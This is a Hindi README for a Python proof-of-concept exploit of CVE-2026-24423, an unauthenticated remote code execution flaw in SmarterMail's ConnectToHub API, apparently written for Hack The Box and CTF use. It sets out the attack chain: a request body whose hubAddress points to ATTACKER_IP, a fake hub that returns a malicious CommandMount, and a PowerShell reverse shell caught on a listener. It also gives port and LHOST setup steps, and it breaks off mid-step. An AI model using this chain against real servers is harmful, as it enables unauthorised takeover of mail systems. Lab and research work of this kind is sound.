
SmarterTools SmarterMail (ConnectToHub) में CVE-2026-24423 के लिए अनधिकृत RCE PoC। केवल अधिकृत सुरक्षा परीक्षण, CTFs और अनुसंधान के लिए।
SmarterTools SmarterMail की ConnectToHub कार्यक्षमता में एक अनधिकृत Remote Code Execution कमजोरी CVE-2026-24423 के लिए एक Python-आधारित exploit।
इच्छित उपयोग: केवल अधिकृत सुरक्षा परीक्षण, CTF, Hack The Box लैब्स, और नियंत्रित शोध वातावरण के लिए।
केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। देखें SECURITY.md।
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
Python 3.6+ आवश्यक है (केवल मानक लाइब्रेरी)। पूर्ण walkthrough नीचे Usage अनुभाग में है।
CVE-2026-24423 SmarterTools SmarterMail को प्रभावित करने वाली एक अनधिकृत Remote Code Execution कमजोरी है।
यह कमजोरी ConnectToHub कार्यक्षमता में मौजूद है। एक अनधिकृत हमलावर एक दुर्भावनापूर्ण hubAddress प्रदान कर सकता है, जिससे SmarterMail सर्वर हमलावर-नियंत्रित सर्वर पर एक HTTP अनुरोध करता है।
दुर्भावनापूर्ण सर्वर एक crafted setup-initial-connection प्रतिक्रिया के साथ उत्तर देता है जिसमें एक नियंत्रित SystemMount.CommandMount मान होता है।
इसके बाद कमजोर SmarterMail इंस्टेंस इस मान को एक ऑपरेटिंग-सिस्टम कमांड के रूप में संसाधित करता है, जिससे SmarterMail सेवा के सुरक्षा संदर्भ में मनमाना कमांड निष्पादन संभव हो जाता है।
इस कमजोरी को CVSS 4.0 स्कोर 9.3 (Critical) दिया गया और इसे CWE-306: Missing Authentication for Critical Function के रूप में वर्गीकृत किया गया है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-24423 |
| विक्रेता | SmarterTools |
| उत्पाद | SmarterMail |
| कमजोरी | अनधिकृत Remote Code Execution |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critical |
| CVSS v3.1 | 9.8 Critical |
| Attack Vector | Network |
| Authentication | None |
| User Interaction | None |
| Complexity | Low |
| प्रकाशित | January 23, 2026 |
| Fixed Build | 9511 |
आधिकारिक CVE रिकॉर्ड इस समस्या को ConnectToHub API विधि के माध्यम से एक अनधिकृत RCE के रूप में वर्णित करता है।
SmarterMail के Build 9511 से पहले के संस्करण प्रभावित हैं।
CVE रिकॉर्ड प्रभावित सीमा को इस प्रकार निर्दिष्ट करता है:
SmarterMail < 100.0.9511
Build 9511, जो January 15, 2026 को जारी हुआ, में विक्रेता का फिक्स शामिल है।
< 100.0.9511
>= 100.0.9511
कमजोरी को पुनः उत्पन्न करने का प्रयास करने से पहले हमेशा सटीक इंस्टॉल किए गए build को सत्यापित करें।
कमजोर कार्यक्षमता SmarterMail सिस्टम प्रशासन API के माध्यम से उजागर होती है।
प्रासंगिक ऑपरेशन है:
/api/v1/settings/sysadmin/connect-to-hub
यह endpoint एक hubAddress पैरामीटर स्वीकार करता है।
संकल्पनात्मक रूप से, एक हमलावर प्रदान कर सकता है:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
इसके बाद SmarterMail प्रदान किए गए hub address से कनेक्ट होता है और अनुरोध करता है:
/web/api/node-management/setup-initial-connection
हमलावर-नियंत्रित सर्वर एक दुर्भावनापूर्ण SystemMount ऑब्जेक्ट वाली JSON के साथ उत्तर देता है।
महत्वपूर्ण प्रॉपर्टी है:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
CommandMount मान को बाद में कमजोर एप्लिकेशन द्वारा एक ऑपरेटिंग-सिस्टम कमांड के रूप में उपयोग किया जाता है।
यह एक हमलावर को इससे संक्रमण करने की अनुमति देता है:
Unauthenticated HTTP request
से:
Remote command execution
VulnCheck का तकनीकी विश्लेषण पुष्टि करता है कि हमलावर-नियंत्रित hubAddress SmarterMail को हमलावर के setup-initial-connection endpoint का अनुरोध करने के लिए प्रेरित करता है और लौटाया गया CommandMount मनमाना कमांड निष्पादन प्रदान कर सकता है।
Exploit में दो घटक होते हैं:
Python सर्वर इसके लिए सुनता है:
POST /web/api/node-management/setup-initial-connection
और दुर्भावनापूर्ण SystemMount.CommandMount वाली एक crafted JSON प्रतिक्रिया लौटाता है।
एक अलग TCP listener लक्ष्य पर निष्पादित कमांड द्वारा आरंभ किए गए कनेक्शन को प्राप्त करता है।
यह exploit जानबूझकर दो अलग पोर्ट का उपयोग करता है।
8081
└── नकली SmarterMail Hub
4455
└── Reverse Shell Listener
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
ये पोर्ट अलग-अलग उद्देश्यों की पूर्ति करते हैं और इन्हें भ्रमित नहीं किया जाना चाहिए।
Exploit केवल Python मानक-लाइब्रेरी मॉड्यूल का उपयोग करता है:
http.server
json
base64
किसी बाहरी Python पैकेज की आवश्यकता नहीं है।
निम्नलिखित वेरिएबल्स को संपादित करें:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
उदाहरण HTB वातावरण के लिए:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST हमलावर का IP पता है जिस तक लक्ष्य पहुँच सकता है।
Hack The Box के लिए, यह सामान्यतः HTB VPN इंटरफ़ेस को सौंपा गया IP होता है:
ip addr show tun0
उदाहरण:
tun0:
inet 10.10.14.50
इसलिए:
LHOST = "10.10.14.50"
LPORT वह TCP पोर्ट है जिसका उपयोग हमलावर reverse कनेक्शन प्राप्त करने के लिए करता है।
उदाहरण:
LPORT = 4455
HUB_PORT वह HTTP पोर्ट है जिसका उपयोग दुर्भावनापूर्ण SmarterMail hub करता है।
उदाहरण:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
संपादित करें:
nano exploit.py
सेट करें: